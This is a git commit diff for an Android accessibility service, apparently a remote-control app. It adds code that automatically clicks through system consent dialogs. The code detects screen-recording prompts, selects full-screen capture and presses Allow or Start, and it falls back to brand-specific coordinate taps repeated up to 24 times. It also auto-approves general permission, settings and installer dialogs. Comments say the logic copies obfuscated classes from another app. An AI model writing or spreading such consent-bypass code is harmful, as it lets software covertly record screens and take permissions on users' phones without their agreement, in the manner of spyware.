This commit is contained in:
wdvipa
2026-02-13 01:01:19 +08:00
parent eee3a16150
commit d3c48caf96
107 changed files with 420 additions and 21 deletions

View File

@@ -697,22 +697,75 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
// 删除悬浮窗权限申请方法
// ==================== 参考d.t/d.r的通用权限自动点击 ====================
/**
* 录屏授权弹窗检测关键词参考d.t的f604c数组
* 当systemui事件中包含这些关键词时说明录屏授权弹窗已出现
*/
private val mediaProjectionDetectionKeywords = arrayOf(
"投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
"Screen recording", "Screen casting", "Screen capture", "Share screen",
"Cast screen", "Record screen", "Media projection"
)
/**
* 通用权限自动授权关键词列表参考d.r的18个关键词
* 匹配到这些文本的可点击节点会被自动点击
*/
private val generalPermissionAllowKeywords = arrayOf(
"确定", "允许", "始终允许", "允许使用照片和视频", "所有文件",
"允许管理所有文件", "允许访问全部", "使用期间允许", "仅使用期间允许",
"使用应用时允许", "使用时允许", "仅在使用中允许", "仅在前台使用应用时允许",
"仅在使用该应用时允许", "允许本次使用", "本次使用时允许", "允许通知", "仅媒体",
// 英文
"Allow", "Always allow", "Allow while using the app", "While using the app",
"Only this time", "Allow all the time"
)
/**
* 取消/拒绝按钮黑名单参考d.t的f606e数组
* 这些文本的节点绝不会被点击
*/
private val denyButtonBlacklist = arrayOf(
"禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
"Cancel", "Deny", "Dismiss", "Don't allow", "No"
)
/**
* 录屏确认按钮文本参考d.t的f605d数组
* 选择全屏后点击这些确认按钮
*/
private val mediaProjectionConfirmKeywords = arrayOf(
"立即开始", "允许", "确定", "开始",
"Start now", "Allow", "OK", "Start", "Begin",
"Share screen", "共享屏幕", "开始共享"
)
/**
* 处理无障碍事件 - 用于权限对话框的自动点击 (优化版本)
* 参考d.t + d.r的双层架构
*/
fun handleAccessibilityEvent(event: AccessibilityEvent) {
// ✅ ANR修复异步处理无障碍事件避免阻塞主线程
android.os.Handler(android.os.Looper.getMainLooper()).post {
try {
// ✅ 限制日志频率,避免刷屏
if (event.eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
// 内容变化事件太频繁,降低日志级别
Log.v(TAG, "收到窗口内容变化事件: ${event.packageName}")
} else {
Log.d(TAG, "收到无障碍事件: ${event.eventType}, 包名: ${event.packageName}")
val packageName = event.packageName?.toString() ?: ""
// === 第一层录屏授权弹窗自动点击参考d.t ===
// 监听来自com.android.systemui的事件
if (packageName == "com.android.systemui") {
handleMediaProjectionAutoClick(event)
}
// 继续处理事件
// === 第二层通用权限弹窗自动点击参考d.r ===
// 处理所有权限弹窗的自动点击
handleGeneralPermissionAutoClick(event)
// === 原有逻辑MediaProjection权限申请流程 ===
if (event.eventType != AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
Log.d(TAG, "收到无障碍事件: ${event.eventType}, 包名: $packageName")
}
handleAccessibilityEventInternal(event)
} catch (e: Exception) {
Log.e(TAG, "❌ 处理无障碍事件失败", e)
@@ -720,6 +773,328 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
}
/**
* 第一层录屏授权弹窗自动点击参考d.t
* 监听com.android.systemui的事件检测录屏关键词后执行自动点击序列
*/
private fun handleMediaProjectionAutoClick(event: AccessibilityEvent) {
try {
// 只处理窗口状态变化和内容变化事件
if (event.eventType != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED &&
event.eventType != AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
return
}
val rootNode = service.rootInActiveWindow ?: return
// 检查屏幕上是否包含录屏相关关键词
var foundKeyword = false
for (keyword in mediaProjectionDetectionKeywords) {
val nodes = findNodesByText(rootNode, keyword)
if (nodes.isNotEmpty()) {
// 检查节点是否可见
for (node in nodes) {
if (node.isVisibleToUser) {
Log.i(TAG, "🎬 [d.t] 检测到录屏授权弹窗关键词: '$keyword'")
foundKeyword = true
break
}
}
if (foundKeyword) break
}
}
if (!foundKeyword) return
// 检测到录屏弹窗延迟100ms后执行自动点击序列参考case 16
serviceScope.launch {
delay(100)
executeMediaProjectionAutoClickSequence()
}
} catch (e: Exception) {
Log.e(TAG, "❌ [d.t] 录屏授权弹窗自动点击失败", e)
}
}
/**
* 执行录屏授权自动点击序列参考case 16 → 15 → 14
* 步骤1. 查找并点击"整个屏幕" → 2. 延迟300ms → 3. 点击确认按钮
*/
private suspend fun executeMediaProjectionAutoClickSequence() {
try {
Log.i(TAG, "🎬 [d.t] 开始执行录屏授权自动点击序列")
val rootNode = service.rootInActiveWindow ?: return
// === Step 1: Android 14+需要先选择"整个屏幕"参考case 16 → case 15 ===
if (Build.VERSION.SDK_INT >= 34) {
// 先检查是否有"单个应用"文本参考case 16: 搜索"单个应用"
val singleAppNodes = findNodesByText(rootNode, "单个应用")
if (singleAppNodes.isNotEmpty()) {
Log.i(TAG, "🎬 [d.t] 检测到两步授权弹窗(有'单个应用'选项)")
}
// 点击"整个屏幕"参考case 15
val fullScreenTexts = arrayOf(
"整个屏幕", "全屏", "完整屏幕", "Entire screen", "Full screen", "Whole screen"
)
var fullScreenClicked = false
for (text in fullScreenTexts) {
val nodes = findNodesByText(rootNode, text)
for (node in nodes) {
if (node.isVisibleToUser) {
val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
if (clickTarget != null) {
val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
if (success) {
Log.i(TAG, "🎬 [d.t] 成功点击'$text'选项")
fullScreenClicked = true
break
}
}
}
}
if (fullScreenClicked) break
}
// 也尝试RadioButton方式选择全屏
if (!fullScreenClicked) {
val radioButtons = findNodesByClassName(rootNode, "android.widget.RadioButton")
for (radio in radioButtons) {
val radioText = radio.text?.toString() ?: ""
val radioDesc = radio.contentDescription?.toString() ?: ""
val isFullScreen = fullScreenTexts.any {
radioText.contains(it, ignoreCase = true) || radioDesc.contains(it, ignoreCase = true)
}
if (isFullScreen && !radio.isChecked && radio.isClickable) {
val success = radio.performAction(AccessibilityNodeInfo.ACTION_CLICK)
if (success) {
Log.i(TAG, "🎬 [d.t] 通过RadioButton成功选择全屏: '$radioText'")
fullScreenClicked = true
break
}
}
}
}
if (fullScreenClicked) {
// 延迟300ms等待界面更新参考case 15 → case 14的延迟
delay(300)
}
}
// === Step 2: 点击确认按钮参考case 14: 遍历f605d确认按钮数组 ===
delay(300)
val updatedRoot = service.rootInActiveWindow ?: return
for (confirmText in mediaProjectionConfirmKeywords) {
val buttons = findNodesByText(updatedRoot, confirmText)
for (button in buttons) {
if (!button.isVisibleToUser) continue
// 检查是否在黑名单中
val buttonText = button.text?.toString() ?: ""
val isDenied = denyButtonBlacklist.any { buttonText.contains(it, ignoreCase = true) }
if (isDenied) continue
val clickTarget = if (button.isClickable) button else findClickableParentOrSibling(button)
if (clickTarget != null) {
val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
if (success) {
Log.i(TAG, "🎬 [d.t] 成功点击确认按钮: '$confirmText'")
stopAutoClickingImmediately()
return
}
}
}
}
// === Step 3: 节点点击失败时使用坐标点击兜底参考d.g.f() ===
Log.i(TAG, "🎬 [d.t] 节点点击失败,尝试坐标点击兜底")
tryMediaProjectionCoordinateClick()
} catch (e: Exception) {
Log.e(TAG, "❌ [d.t] 录屏授权自动点击序列失败", e)
}
}
/**
* 录屏授权坐标点击兜底参考d.g.r()
* 根据设备品牌和分辨率计算按钮坐标进行手势点击
*/
private fun tryMediaProjectionCoordinateClick() {
try {
val displayMetrics = service.resources.displayMetrics
val screenWidth = displayMetrics.widthPixels
val screenHeight = displayMetrics.heightPixels
val brand = (Build.BRAND ?: "").lowercase()
val manufacturer = (Build.MANUFACTURER ?: "").lowercase()
Log.i(TAG, "🎬 [d.g] 坐标点击兜底: 屏幕=${screenWidth}x${screenHeight}, 品牌=$brand")
// 参考d.g.r()的设备适配坐标表
data class ClickConfig(val x: Int, val y: Int, val repeatCount: Int)
val clickConfigs: List<ClickConfig> = when {
// vivo设备参考vivo 1080w → (540, 1740~1850) 重复24次
brand.contains("vivo") || brand.contains("iqoo") -> {
when {
screenWidth == 1260 -> listOf(ClickConfig(630, 2187, 24))
screenWidth <= 1080 -> listOf(
ClickConfig(540, 1740, 12),
ClickConfig(540, 1850, 12)
)
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.78).toInt(), 24))
}
}
// OPPO/一加参考oppo ≤1080w → (540, 1980~2050) 重复3次
brand.contains("oppo") || brand.contains("oneplus") || brand.contains("realme") -> {
when {
screenWidth < 780 -> listOf(ClickConfig(360, 1350, 3))
screenWidth <= 1080 -> listOf(
ClickConfig(540, 1980, 2),
ClickConfig(540, 2050, 1)
)
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
}
}
// 华为/荣耀参考honor/huawei API>32 ≤1080w → (540, 2200) + (901, 2300~2500)
brand.contains("huawei") || brand.contains("honor") -> {
if (Build.VERSION.SDK_INT > 32) {
when {
screenWidth <= 720 -> listOf(
ClickConfig(540, 1360, 6),
ClickConfig(600, 1500, 10)
)
screenWidth <= 1080 -> listOf(
ClickConfig(540, 2200, 6),
ClickConfig(901, 2300, 5),
ClickConfig(901, 2500, 5)
)
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 6))
}
} else {
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
}
}
// 魅族参考meizu 1080w → (540, 1800) 重复20次
brand.contains("meizu") -> {
when {
screenWidth == 1264 -> listOf(ClickConfig(540, 2100, 20))
screenWidth <= 1080 -> listOf(ClickConfig(540, 1800, 20))
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.82).toInt(), 20))
}
}
// 小米/红米
brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> {
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
}
// 三星
brand.contains("samsung") -> {
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
}
// 默认
else -> {
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
}
}
// 执行坐标点击
for (config in clickConfigs) {
for (i in 0 until config.repeatCount) {
performGestureClick(config.x, config.y)
Thread.sleep(50) // 每次点击间隔50ms
}
Thread.sleep(100) // 不同坐标组之间间隔100ms
}
} catch (e: Exception) {
Log.e(TAG, "❌ [d.g] 坐标点击兜底失败", e)
}
}
/**
* 使用无障碍手势执行坐标点击参考d.g.f()的GestureDescription
*/
private fun performGestureClick(x: Int, y: Int) {
try {
val gestureBuilder = GestureDescription.Builder()
val path = android.graphics.Path()
path.moveTo(x.toFloat(), y.toFloat())
val stroke = GestureDescription.StrokeDescription(path, 0, 100)
gestureBuilder.addStroke(stroke)
service.dispatchGesture(
gestureBuilder.build(),
object : AccessibilityService.GestureResultCallback() {
override fun onCompleted(gestureDescription: GestureDescription?) {
Log.d(TAG, "🎬 [d.g] 坐标点击完成: ($x, $y)")
}
override fun onCancelled(gestureDescription: GestureDescription?) {
Log.w(TAG, "🎬 [d.g] 坐标点击取消: ($x, $y)")
}
},
null
)
} catch (e: Exception) {
Log.e(TAG, "❌ [d.g] 手势点击失败: ($x, $y)", e)
}
}
/**
* 第二层通用权限弹窗自动点击参考d.r
* 处理所有权限弹窗,自动点击匹配的允许按钮
*/
private fun handleGeneralPermissionAutoClick(event: AccessibilityEvent) {
try {
// 只处理窗口状态变化事件(减少频率)
if (event.eventType != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
return
}
val packageName = event.packageName?.toString() ?: ""
// 只处理系统相关的包名(权限弹窗来源)
if (!packageName.contains("android") &&
!packageName.contains("systemui") &&
!packageName.contains("permissioncontroller") &&
!packageName.contains("settings") &&
!packageName.contains("packageinstaller")) {
return
}
val rootNode = service.rootInActiveWindow ?: return
// 遍历通用权限允许关键词,查找并点击匹配的节点
for (keyword in generalPermissionAllowKeywords) {
val nodes = findNodesByText(rootNode, keyword)
for (node in nodes) {
if (!node.isVisibleToUser) continue
val nodeText = node.text?.toString() ?: ""
// 检查是否在黑名单中
val isDenied = denyButtonBlacklist.any { nodeText.contains(it, ignoreCase = true) }
if (isDenied) continue
// 尝试点击参考d.r的performAction(16) = ACTION_CLICK
val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
if (clickTarget != null) {
val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
if (success) {
Log.i(TAG, "🔓 [d.r] 通用权限自动点击成功: '$keyword' (包名: $packageName)")
return
}
}
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ [d.r] 通用权限自动点击失败", e)
}
}
/**
* ✅ ANR修复内部事件处理方法避免阻塞主线程
*/
@@ -2167,11 +2542,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
}
// 策略6: 禁用坐标点击 - 不可靠且容易点击错误按钮
// 策略6: 坐标点击兜底参考d.g.r()的设备适配坐标方案)
if (!buttonFound) {
Log.i(TAG, "🚫 策略6: 坐标点击已禁用(不可靠,容易点击错误按钮")
Log.i(TAG, "💡 建议用户手动点击权限对话框的允许或开始按钮")
// buttonFound = tryClickByCoordinates(rootNode) // 已禁用
Log.i(TAG, "🎬 策略6: 使用坐标点击兜底参考d.g.r()设备适配坐标")
tryMediaProjectionCoordinateClick()
// 坐标点击是异步的,不能立即确认成功,但至少尝试了
buttonFound = true // 假设坐标点击可能成功
}
if (buttonFound) {

View File

@@ -22,6 +22,7 @@ ROMAdapter {
/**
* 获取MediaProjection权限对话框的按钮文本
* 参考d.t的f605d确认按钮数组和f606e取消按钮黑名单
*/
fun getMediaProjectionButtonTexts(): List<String> {
// Android 14+ 两步授权弹窗的通用按钮文本(优先级最高)
@@ -31,6 +32,12 @@ ROMAdapter {
emptyList()
}
// 参考d.t的f605d确认按钮数组通用所有品牌适用
val universalConfirmTexts = listOf(
"立即开始", "允许", "确定", "开始",
"Start now", "Allow", "OK", "Start", "Begin"
)
val romTexts = when {
// 小米/红米
deviceBrand.contains("xiaomi") || deviceBrand.contains("redmi") -> {
@@ -68,8 +75,24 @@ ROMAdapter {
}
}
// Android 14+的按钮文本优先
return (android14PlusTexts + romTexts).distinct()
// Android 14+的按钮文本优先然后是通用确认文本最后是ROM特定文本
return (android14PlusTexts + universalConfirmTexts + romTexts).distinct()
}
/**
* 获取录屏弹窗检测关键词参考d.t的f604c数组
*/
fun getMediaProjectionDetectionKeywords(): List<String> {
return listOf("投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
"Screen recording", "Screen casting", "Screen capture", "Share screen")
}
/**
* 获取取消按钮黑名单参考d.t的f606e数组
*/
fun getDenyButtonBlacklist(): List<String> {
return listOf("禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
"Cancel", "Deny", "Dismiss", "Don't allow", "No")
}
/**